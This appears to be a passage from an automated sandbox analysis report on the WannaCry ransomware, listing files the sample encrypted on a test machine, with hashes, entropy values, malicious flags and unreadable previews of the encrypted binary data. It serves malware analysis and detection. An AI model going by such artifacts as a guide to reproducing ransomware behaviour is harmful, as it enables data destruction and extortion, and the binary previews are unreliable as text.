                                                                                                      Preview:WANACRY!.....%...o.GJ.U_...9&.....q....f..<.J.....DL..I....r.......r.HM..h.*...4T...;?....P. ./]..<..f.Z...>'cR....1.eu.V|c.)-`n....`.4.@P..o`si..Q....&.}c.Mnr.F..z..sA.7....`Z)w...F.c..0.B.../.[O..B`...K.^A).GE*/.=.&.#H....$.....%............=E{...O,.83|...................c3.].X2.j....V....J..]..ZJ....".:..d..%...._j........5m..}...p.P..p.....*]~......n.....,.+..>...x. ...6W.A.[..(..o..#p.(d..}....@2...~..]2.........ng;..l.!..Nc.....C..,...=.....(..27.........B...[.!....x.0......E....x....n..&].%o..J!L......yw.B..`.!!.......]adN..<.R......$..P..s.J..b.#...X9V.Wu >..-.'.P....o.`..y6b....d..-.`Be.*....7m.......4.W!....a.Ui+P....9....;1sxX....W.z.....i..8....{......u../..h._..t..Y...w.....A`}.......).&.N..%..<O...n[N...W.[I......;...H*J.".5..8..R.....$.....X'.b..6.....I....{.Z...k.....z*A.!y=KXY..3.}y.,....O......e...p....91...u..Q...`&2+.*...I..5).!Q.........r..#.......Q^...`..tD ;."".A......G.....Um...r<.b.#O......i....;.u%E.f...

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24856
                                                                                                      Entropy (8bit):7.9915393108654476
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:5WytBN0PrLJMg5Zi9Ff5gReLjf3zq4KeThufPiyDDHckdIvrVK95+OcQlCpup:53tB2DLJMaGKeLbmfxfPiyfeMP+O78q
                                                                                                      MD5:DBA1832BA1D92F582F632DBC2BA47632
                                                                                                      SHA1:C33A88E047117B9E32C2E4167C89507EBB7ADC78
                                                                                                      SHA-256:BDDB9E61817553CAB0C8F422BF61CFD076C4D10345D8AC20F02D3B76A8057F82
                                                                                                      SHA-512:25568862FC5E99759140138D65E927A51C7B995A0A4CCC4DEA991C7BE77F5D99B4F6CD3A0EEFCA6B3D053E6E257F89EB1F50DAA04254638EC7E869037D75B34B
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....B.~h]....J...G{.......gJ.sOB..}......F.....x...k.$I... .?l<..6>..V.2.,5.hV1.j.Y...K...t.^0.RY...MQ...."[.M.9.2sXe^k..nr..u.M.].5.H..f.j.2.8.....GB.....g.1.........Tj....M~.s....A.9.x.)n.7..(......c......G2.)..?..CD*~X,..I..2."...xI..........`.........-.Q......+...V.._1.Dn.u....Fv...mg......7..^..x.7......m.................Q.y..?../.Q..D![..../...V.\\.....o.r.@.9y.z.`.Qa.....w...-^u..w......sO..Ke.$.}.t.}.-j....w.)..~.......Fp..%.4.JKS.i.D8.k..(........rK...B2Z.x.u..1<.....k.4h}..WOZ...].wa.6.%l.v)8.BJ.. AD...pC.:....~/....$.................T..p..42....Z}..Wg.d(..b.....7.\.......dA4. .@,.$`...9].........w.Pu-...S.).Tq7...^[r...c.....".!h.s..W.H{.r.-..}......[....ni)...U...,?....U} ...--.....!.2....T.Pj4..,%...&f.._..*hO-._,....;{.(_p......{.8....*C.0<|.cf.7.....h...;S?...?..C...O=.....C..%$.....j.e.o...g..k.T..bi.....=.c.a<.V1..@...mmp..>&I..-.*.L.W..+..;..I....1..N..."0f#)O=0s...b..Mc...%....?R.S.....^.....Q0.O........^rh.{

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24856
                                                                                                      Entropy (8bit):7.992318890143467
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:SYZPesnhkTU3gfcWt3BexSn7Y1Q93s+dZpxlFr9AZQc1TjtRppMQa4orcHH2wdb/:SYZ/wfcMA1QtHlrva3tRppMJrcHH2A7z
                                                                                                      MD5:6DF799338946224A769C7544D4ECAE4B
                                                                                                      SHA1:D2F9AD5FB3A9DE1F835EE97628854B2BF4C842E1
                                                                                                      SHA-256:2538A5D055741144C3CCA92F9041299F3E7D629D6D379AB9A150AB92FBE2DCBD
                                                                                                      SHA-512:FA8D7BF5FD66A59C9B08D5F9B603F5BB6FE50085E6FF96148B61E823F382D858FFA876BFC5EA2EBEB04B1C5AD68B248F1901B50E5C893398E7471C39F873C8C9
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....#....dx..ki`..y\j......,9...[@..s.:....7J..{.....{...'.\.l...#.$_r6....|ke..........Nbp."#..1.~...#.d...U0;........;4/..n...ZLD.b..2x1s../.*..{.......7(V......-..j...K...5G. [./5.y...<.{4..Cwz._.4*.J/v.-p.$...+.'.....}.]%...`/1|...7M.h.D.dp._.......`.......x]!.o..L....<vI.$.....R.....]....2.CLw....%......^QF..)...9..XI.$..fr.B.......%0..~$%..F..3.~....g.F..W..,.0....]....).aM3...Rs.Y...u.R.x....T....E....1..@'..Vm+7../%.....uF......<.1.."._....r.+..CJ..@.+k..qEl^K.........u.J.OgqJ4I......v......7. .R...+.R;...!.n-R.I..}...(.%.t...!..:.%.S..........W.x....Th....v.<....VQ.eq.XM.fY..?.L$K...McV,T.W~.....F..#j-6[,.>...X.EVl.d.wg......{.i.-...gwV...4..*....p7..f}$S..bQ`....;4.;=....\....$...i...C<.XN@..K...+J....o.cK.. .......".$|.J.\...#.f..k.*)_.....Aly4.W...%y;r?.h.-.Q.f...C....c.|,.C..:..VOdK.:h..<...lYb.Ru?O..&q\njI8....#......i....5....+.Y.j.:...;..2m@Z.?.....}.A.s.B.F.....[3Q....lvjvdh.....M.q.XH.Z=...a+......6\~.;&.....z.K.M.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\officesetup.exe.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24856
                                                                                                      Entropy (8bit):7.991547692106846
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:oNBE4iITyngqIQNzeKjKvXYgSpv2B8Ic60bHfkL8wim:o3ERIWgCzeKAWDH60bHfpzm
                                                                                                      MD5:EAEA89BE7862A989175250EEDFFA773E
                                                                                                      SHA1:BF8CCBCD313D9F5388A7CFB7B9A512CA1BD51915
                                                                                                      SHA-256:CF707530B099083CE8BBE78B898BB225F4499ED7CAEA04685FE1F3E68F9E39DC
                                                                                                      SHA-512:0ED332B4A1091A8ED8EEC4D9C126EA2F23EA99A0B8C32D17A792C76C65916090003424C2ADC86FC55D47111E2625A611F6EFBB3F8C658BBAC155DAF5959E374D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!...._.+}`...]qci'B......x.>Rx7..=...f..S.[...g.-....d:........#....Nu......~...V.1:R{.a..J.9}=NLvqm...X......K.+Q.jq.T..j...a.D].b..R..)...]..`.u1.Q=.^.].L5.2..D..,...9...6..5y..Q!...q).)....I=...o....0.....4...`*.p...X.-....l.h.....C0..2\.p.e.uAg...._.....`......r.A.r@....>...4...:f..z..t.e=..E.&"Oa..g.I[:.O0.y.....~..%..~~n..C.....8..G.......0Pn.c..:........6u ......%.......l.o.C..|....Fy.y...s....f...zR..e.k.c.N....B)B...FOu.b..j.f..../.8...q.......'S..R..O..)H.A|...^....u..g..#'D...%..1xN...+}...sQ.xrgw.u^.S...k..f.....n....<...{[.......e.w.y......AKeV'..Y0"u.+.8....2;m.....A..S.t...D"..O.4..<..:BJ.{.@..........N..y0..N.z(.q<f~;....?..X..>.E.3..<{...dL...b!D..$7.S......,VOO.T...=.U.T....u..G?.D/....#$j3......X_.9.Q.0L).:..d..p./.:K..I._......*y.8..y...F......l......+|.YI......@.G....... ..\..}../.j..5..h..aV_.......P.../.}..K.....i=e3...'...../...v.-.F...$..?.v.:.1...v.....Jc..>x'.LX.t..c.t.......[_f..4G.}n)..K[.Z..#...

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\cversions.1.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16664
                                                                                                      Entropy (8bit):7.988825136792057
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:39U4fRpk1ceUaLwjaXKRLBelpfDbi8DHxO6HtH:55mLwGXKd2DxO6Z
                                                                                                      MD5:0FBC5CCDCA2E5F77C3068DBF6630B1AA
                                                                                                      SHA1:71D0A7B3E35F0B622811A2ABB1DB94B807420E6A
                                                                                                      SHA-256:7B0533D7A24F03A3B55A264F60A8581733F9B65BACD58B53EDF6F2C88A4D5254
                                                                                                      SHA-512:DCEF8ADAAE2F701E4F77851B40950B135800459C0F0172E6F65261AA370D5214CEB87241AC43A06EEA7EAF614C4FBE3B914FFA0A9A996DA0D78B9591EEDF4D9B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....-..n.....s6.ay....it..P.e....5..%....#...J...h }.Y.O..1UG..N*.H...v.X..ZH..%.B5.b.Ovo..5d.|..Wn..|C..Z........G..'......5.&4.BLb..T....@T.......C..~.*.p....".Ie.x.<..c.w.q.......0..S...^Z.....b.oE...4gXT.+km.i.UQ...oe..D+-..L7.T.Z..Q..]zh0@)m.J........@......Q.Z."..{0......s;.P.{R...H........x.......a.Tt5.KD.5.....s..\...P!9..5.0...YJ.J&.D..v.*}.q.x..,......Qa..j...o...K.....g.;...e..sd..v8C.....`..J..^.&'4...j...xge...W...7>.:......S....|0..V....#..g.x..kyp....?..V..+%'.J..'i..4....D.v.....;..U..X.B....jj..J.....a...\z.}....`.H..fA.Hwt.w..Ez$_.I.v..q..y=q~vjA..AI......+Jc..G.....g.d...{.K.B...^F*k.N..G.....o.r.4R{.Zw..V.........!.h.4....O..L[..7...q...x:..W.l)....|+...N-.%..\+....7.V.....8OT.......b.r...P..k.9.N.eP.w....h...b......S.*A.t...:GJ.%8..s..D.l9gH.J.e.*J..R.Y .P#..y..8y.D.Q.j..4g.4.cQ...Q.%.C@.......}.e.....j.e..2.?...n'..u..r..p.).-?..3..%..A..hRv....R-lR!.......Q._...1_...R.Ci.......`....N.\#..........A..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\cversions.3.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16664
                                                                                                      Entropy (8bit):7.9890645911003135
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:S8IxOacCM6ZrAQcDHcunL2tQiH//eZ93xfNqYqXKq:S8mq0OD8ufi+T3x1qYGKq
                                                                                                      MD5:255D8C47DAA9383342D8DA26CFDBC96E
                                                                                                      SHA1:C8B849941C5DECB018D1C5C2D27FC28DE64D58ED
                                                                                                      SHA-256:C3187FBF441F11870B1E04C1958488DFEE6C48D556557C6BCE656EAEF1E9C04B
                                                                                                      SHA-512:0B4851FB49EF9AC86E8B82A47B0205D8C88BFA808173EF45AAA361369349BBCC8E1CC92E786FF64BB52882C8CA31D4E9640A4D704F8F73284343B38E2B8000F4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......u`..\..pUw..z.>.n....-..s...o<./G.)2{......J...|..O6.9E.........U,H..g..q..a..ch.8...B.Z.A.]bD.p......^.s(.v..+.[.8..a.r.mAQ.................;ma.^..u.6.J}b.....G4....#P..48...9.....2..b9.........q.[.......C..K..N.....D8.J([.p....kr.........@......5-E|..b.d..P.3./>j..=......|u.nB..[...;.PC.9.I3'.....b....6.N[v.].C......H`.QB..*.k`-).4..n..s.if.....q...........$nq...$....!.7..=!)...r,s3........V.._."..z...{........`..O.'&..+.......Y5..4.7E.D...B.u..(.y.{.W.A..{..f...!.R.j.B:;.7h~.d0I.#..l...q.M.....O.u......z..X...0.V...'..?..p.FK..!.O.,.e...u...-....,...C..*..........[...)...#..Y..7......I8>..!..a........2.j...G..J......G....;F.$.im..H.....c....2..Ly...-4".&.....G.J....c.>?o....c....{.=-.F..Q.q..TL.L..(ACZ...Y...q....n$+R.l..aK.$.w..s.}...DC.&.....T..G.*a........_...->..-...bg..B.......9..!{.._f.Tt.-.K..|....$.a}y.U\%M..........X....X&.r@.J..%.Y&..6...Zp&8!.|.:S.E..'kJ.f..x?........W.r.......M..>.z!....J......f.#u.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_16.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.99983265093667
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:5Kf+EVMOL2gFNZ5NGld3chtqL2In9Cl6+zD2bf:E+EqOFNlGliQ9adA
                                                                                                      MD5:0F06AF512A7687527D66584310229CAC
                                                                                                      SHA1:B3CFEF7DE24F6C51CD9BDCFE329FD14B0B14AF23
                                                                                                      SHA-256:0E9814D12604AAA405D00DE49FAC1704DB3AE94A6B0AE35042A842129E70FBBA
                                                                                                      SHA-512:80518E3567D52C78F74741A8CDC01CB42CB1AB3DDC0D64C2C7DFC65F6C8843DBD0CBACA7C533688E44EBBD59DA9505536B354EE73AACF588A1EF67184BFAE531
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......`bT.<..Y~'2..."...R...&..b...^..c7......Y...8......D ..J...,.V..qXFz..\.[..p.)...w.9.d..N...e.)2.a.|.L.DQ..i..!...q0.+=.......N..U.U...3.0.74..6.4r..z...8d.o.E!2+k!Cm..4}..U..h.M.b..3.w...dN...q.kr.mx..9...!MP.ZR.o[hz2.\.;s.....8P.S.p...4].~.#................nd.5.......M..c.D....q.?..i($...]. ..p..Q.1.6.../}*fU..#:....F_[.'\y.L.<|..z..8..`...._A....z..?.zH-..g....u.);N.#\.nI=.....f..Wg.....F1.*..}.6.....H.p.1.e..oEq.]#.jL0.....+..........L.....1...~&-.....@OMI...\..s)5..=...6..j..l...U...I.......o.v...^..ivB.q...,/D.9..4..Qo9......I@<.LBt*.P..0...|..Lo..A....[v~.2.....J+S..n...L.lo.c~B.i...5'...._.h.T.1.)-.....:.Q.>:[.$..3..U...Ltb.O....Mv...l../.`.....Nv.>hU..LB...O:}......>....*c..9..X.<.iklco.bx..Yi.{..6....[.)q...O...uP.........~uKe.......R.q..E_.O.qo..RdhZr..U..K...)$L..l....3x.2.&...:...+..._...}I..B...+s3Z* .GL..h..w.......BON-^.d[.~H9..H..@.3vt"G......`r.=...w.].~...,_.|&.w.."q...\.....A...z.J.Yc.......\..}.M...B..d!..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_256.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):3146008
                                                                                                      Entropy (8bit):7.999949843227166
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:98304:sQQr4AYi+jjznOXUtcNnGZjEtOEelgaDwG5:eyHOXpNGxiOEellwE
                                                                                                      MD5:0D264948AAA619349DFF07ECDDDC7851
                                                                                                      SHA1:9075B0D92710ED3FE8F091A7BD90AE726392897E
                                                                                                      SHA-256:0A8B4B9E0AD3F06BD83ACFEF49A6E41F986C767694B7104AB9B721F3551C4C54
                                                                                                      SHA-512:5BAF18A514A0DCA00FA01A6D15E15BA8759013554035F6A5DA7A5646C598D2282E30A757FCF27A30821F1D762C0834C7744A007B719ADAFAB7AD7C95C687DE5C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......M...=x;.^g.p....]..G.PI}.i.q@.bgZ...j..D.[.G.....4.....26..;......".ID.K5...F.s$...+....s....I.\.....:$2.<kb.A.4].>.=.R.t.D.{...g..D.{..9o,........5....&2..%.&....((....,...8.......=/.ogP....[..7J.........g\.....Y.$.^\.^...qTp8.....W..M.i......0......xV..E.C...{..^...>......G..;p.?,.M....I..{....b.0.F.Z.....Fj...6.....{......q.Mj. .A`...T..t8-E.D..G.X@..........o..N..E..-X....j..%.zg....r.X.b..O.fj..i.Cq. ..0}yk.4G..!z..rx.BC....M..R.tp.t.r.V.>.8.:Vw.pQ..x...R{..da..4..O.xF..~.O/}.?>;..jOj"...?....m.......?..a5..:.....9...)...d.._b.f.....v..Qq.......l.....X.)CE.Vk2..{EB.VY..SD ....Uv..O..!wi..g...m..Y.1.#...^...h.%.>..~....S.....m.`!......q.b+..!.....b.].?..d[.K...!.N...l.......B..:..Yf..<b.........n..y]0...?Q?..fp.2...h1..q6..3.K.Hb:...[qY..'..Uc-..........g..P'h..)..Y......K%e...^u..X....8.;...f....M.>.+.J.-..J..N.l,..*........5......N_...C.{..i....D../.M...n4_......)o.2.b50/qd...T..}.x.MwG(.c....~*iC7c?...@.;yi..9....KJ;..|_.[.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_32.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2097432
                                                                                                      Entropy (8bit):7.999906457376453
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:49152:vOQItZ5zKbO50opbPSnpy41hb3zJwTHhmOlaKWIf1:mQ85RpbSnpy4fb3zJirlatIf1
                                                                                                      MD5:55A2EB76116B868ACA7284214C6C11D5
                                                                                                      SHA1:DF071430B49049425E5FFC50109FA73C8AF595B7
                                                                                                      SHA-256:433E4BFA5D4B3DA6871F9F078E2137986F8E28DA7A430FF04AFB7E7D0328FD63
                                                                                                      SHA-512:572903D82E305B7324251F9AA447EA0EAAE45D544BECB35CB9274F531CFC6FC4DBD688FA1664F39D185871FD66FD8110205CC1C9F109A0360FCBC3B26E3D4F1C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....^.....*.8...H.,s....G.+.../2v..Fee.$....1.xE..U...p.....I......8..j.}j...u......)$.).5N~.GU.V......d5......~.....O"t.rt.Mo.P.....Y^!?......&%..z......J..e...c.v].....m=|:..R..>....@.m.u.I..s.4...).\.....OtM....G2.XIr..!..q..<...!...Fy...6/...... .......T..U.!...G-.KK;.&.v..$.IZ.`....=.*.q..8.9.He.....1.R.g.6..,....yL..V..a;..oP.....3.Wma.?....9.s7b.....\t!..w...Z....r.Mi.D...H............f.u.\.m.+...Zp.....G..g.)..]1...<:...55.".it..55TUa..&.4"...W.....B.>..]w%......3!..R...........qa.)......|...n+r.......}.J..L.<......3E/.rT..N..B.....l..-.:..@|s.x..IS.119....o...).r=>.{....[0(kM...\.?wS.\........e..G.Z.......GsmX...-~.C.V.xd........a.ib.K.OkU)=C.3..(.O..A.'...3.a..S..-.....8.w.5UJ......2D]..s...-3#bp*....4...@..k.-3..~.A.ko..s.Vm9....#..r$.].....+.....q{.,..?.ql....;b.C...#B.L..^+..U`.h..#:...3......Q3.}#...e.ob.W.....}...r.6o.j.o...i{='..Sp.K..o...H.)..G.w..{...;]..ymWX`.g....r...P...t2.....'?Bv..C...,.b...Rr...pW..pd...F

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_48.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.999824783228554
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:/1romsazZCFns5HqifWX3Q6bqbHNqA8LZHWJmHVu:/5FFCFn27WwqnpLZ2EHVu
                                                                                                      MD5:8F04E070EC87B502C3B94E1EB1761428
                                                                                                      SHA1:AFE5CFA904ED76C507B59712FBC3C1A80EAF9B3B
                                                                                                      SHA-256:30C5A9C435DC5946F382509A8906C8AAC9F802EC308A757A262CFE182751D988
                                                                                                      SHA-512:286D2AC31660EB0312AE1DAE0EB43B40E25BA27ECC0660B3D24E0DEE8347A5B5D7351C602DDC8CA809D39CC9A7E4339E0702385C5B0E332015DABC861E03BB51
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....> ...)...[...,...q.Dt................wBD.D~.,_.Nd,..P..U.s...=l.Q.....5.5....N.\m.?.m).@.5..............{;k.1.............%+r.AeE.z..m.I..,. .....1F#RLU..,M..e.U.....9...R"_.2......>..PW4J..i................}q.x.O.Xfr.}i.W...U|.Z.......L..............i.a~...\..-.0..ZK..Z....=4U.....+A$....e.N..y...P..e.p.....:.6...tM........^.P...O.{.k...e.;dI(..k..&...&.g.........(..t.r.....F.!..Se5..f;Q...z...KaPh...E..81.%Nd."..HmA..(....s.....(G..S....y..JO+..i.QoP.w..4.&........t&...|)O.~.A.rF.L!J.g...|.*q.X...,.X..A.E.#}...'{.O..2......19.:.SG.$.Pzg3.....7..[z.!..x....N&G8.1@.4..@kp..!%I....._..q.....@..n..,.-.*..s....K..k./m.i`..}...U.d.m...........1U....a.".. ..[S.......;.....Q...c.p.o4.Q.*(I..n.w....4b.......=..#Y.:16..u..o-.....'....*9{..>........*.se.%s.b..#..I-.7..X3.....9.m..E.=..C.#=.k_KOOd.w6.D.1V3......*,S.~....[..c.7.x.k..-U..7..#.a[....i#...H%8j..j...R.|....c....&.1.....$h.J...*G....z.^|s.9...h..3..~Q2.^7SH......At#.....

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):58600
                                                                                                      Entropy (8bit):7.996672253638282
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:tNfAN0mdXP8rJ4RLJhVZu0KgFLPogo1vwb:tNvIYJ4R+bgwa
                                                                                                      MD5:D29F60E9B6838A4A418525E7224CA46E
                                                                                                      SHA1:DCB5CAE5A5776491C6F2BC95BE14182B1062F4FB
                                                                                                      SHA-256:6AF015088AEFE7F33679158BEE3E44628029F9010F1D9C98A496E5B8BD2A45A0
                                                                                                      SHA-512:08F3A36F066AB9BB05BF475AC3BDDEB5D8691632DEAC311C52E7D66D7126A77159FDB6608A8FC540926DF137C35E3252C4F84F2264109156323A488A8A0EB76A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....(.m...WO..N...s.$.......8o{.V.9l....:..*......Q......L.H...41J./....0.~^....i.jM..).z.&....-..]k.(_.....f.....X.^K..g. fd..?..J...D...I$._...e.9..;.G..'...K.wf.5\..<......g.,@L....h>z.b%...>.+... .O.B..FiW..b>.c.i}..9.re..4.(....-R..W..Tc..NE...............l.qu.....n..6.Y...4..w.:..WGI0J..K.H.w1..@.._.8$..<..k....M,.*.f.'..{..1c.(Xd(.......H.....I....+.7...C.h...JOtg.sZ./..M...$7*.=..?{....H.L...R&..d....85..=..\.#...._.U....o..{|..~B..d..T6...8..&a..z...np..o"!......F..u..1.8..7.........?..........":......|.g~..K...M.O..D]..........$...2FD....5R.r.~f...[.+.}.F_...^J_.J.+Pa...EU.e.|wE<i..s...R...y.i._..06scukbvw...o.. M..........S..F.v9>........G.*.+n.I[.....Mi4...3j.g&F..}&.-.I.EWB:@.]..^..c;..(w......Z<ouM...A.....?U.%./....$.:r...3...r.c..0.....s...&..m...L..*]..}n.PR..*....&..Fz.p3k....=...A....X`V[FT...M....1Wy.^.(F.+...FaJn...ot..FQ.BB..6..o.^?xM.{_.....f..[3..H.......TR....f....Q.8..L..d.,h....@.k%1...'....x.yM.5n.*4.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.999802360109798
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:lWdVKqgMKvzhrXehUrzXlJKRjjcZOeEuNU+c6eL:lLMeuhUrrKtp6u
                                                                                                      MD5:879D75DD0FC7B345C22145B7878556F0
                                                                                                      SHA1:5127046CB8094723B540BA84019FBE41C1FDAE9D
                                                                                                      SHA-256:90504E80BD9831730EC6B80965DF02F6C70070C58C0C2B5014AB8F1C1E94D7E6
                                                                                                      SHA-512:BB71C166A332423E677F75E7A0B2E8F735E2DCA824C36B85825632226F3B53B142A4A1D65DA9C1886F86DA00C8B7ED36C13AB13B5B5FD93D37EAB423E5BC7A89
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....k.....3)...j...3.....I.F.....D..K........8.7(1.IH.'.z.&,z5nz.."...v.I.(.3.a.d.|.vkS&.4..^..+..0.j...o...$...9..B_...6.8(........+_>.M.F4..n.u.#.8$.S])...S.oXn....s...IN....<.S=.....}.[v.]q.#.1D'|p%.#1.*@...I..w....(....o..x%L}8K&.m'A`.B.-...............0v[..^#.~...|...#t4Z.7wFh..0...2...h..Y.....h..49..*. eaV=..B>...p../.p..9....3t..h0..).Y............q>%S-.....@..5......2+.wnn......x..g.J.F.T-.8).....K..N.5^.3,...~.d........>q.I.3].DF}'..J............E.....F...0...F*+......#W..qLJ...>.Nx%-|.3L.o.!.....SY.|k...v`...O.i*-..Z]..<VJ0U. .q.-(.?....7Ih.B....#.9.........h..p.vI..S...w......".o......M.dAM.R]ZE......l.......q.L7..N.7.?.+J)....w..,.. .3O.....K...y.L1...}...<>..}j.$R._..J...B|l.h..[.)_KK:..L..Y......06..|.....Jj......O..+p.4...{......5..b....nA?.c.Na..`wcW.-.5.-m0..,...I..cw ....<7%..-.&..U..#*Ye...3.........T.9.5.rL...U.$E.":.PT.........+......|.eSw..d......s~/.3/.m.$..'.OK.....K.L......Ki..E.5..<ow....

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.999797585109893
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:g5Z5xbvwDTmalQOJtw9/a8pvWsMl/7jYR9bleAZ7IgoDX:g5Z5y+79l+n/7jYRve/DX
                                                                                                      MD5:51CAAEE0D63FE9D6A576F920F8FFC48B
                                                                                                      SHA1:ADD17CF8DC1B44417F7D73A19ED72D195DE76D7A
                                                                                                      SHA-256:1772FA7FC32BD8E2BCAFD0A35EFD3175AD48E79B17C8A5A63F4F62DBF712FBE1
                                                                                                      SHA-512:70C86BAB980AC395FAAAAD142EFF423E8AE7906BE4E219A51F746B645057EF0B6899ABC2C5A33C8A9F1DD3264E1F960C95D496E7816AA029D07BD5291565670A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
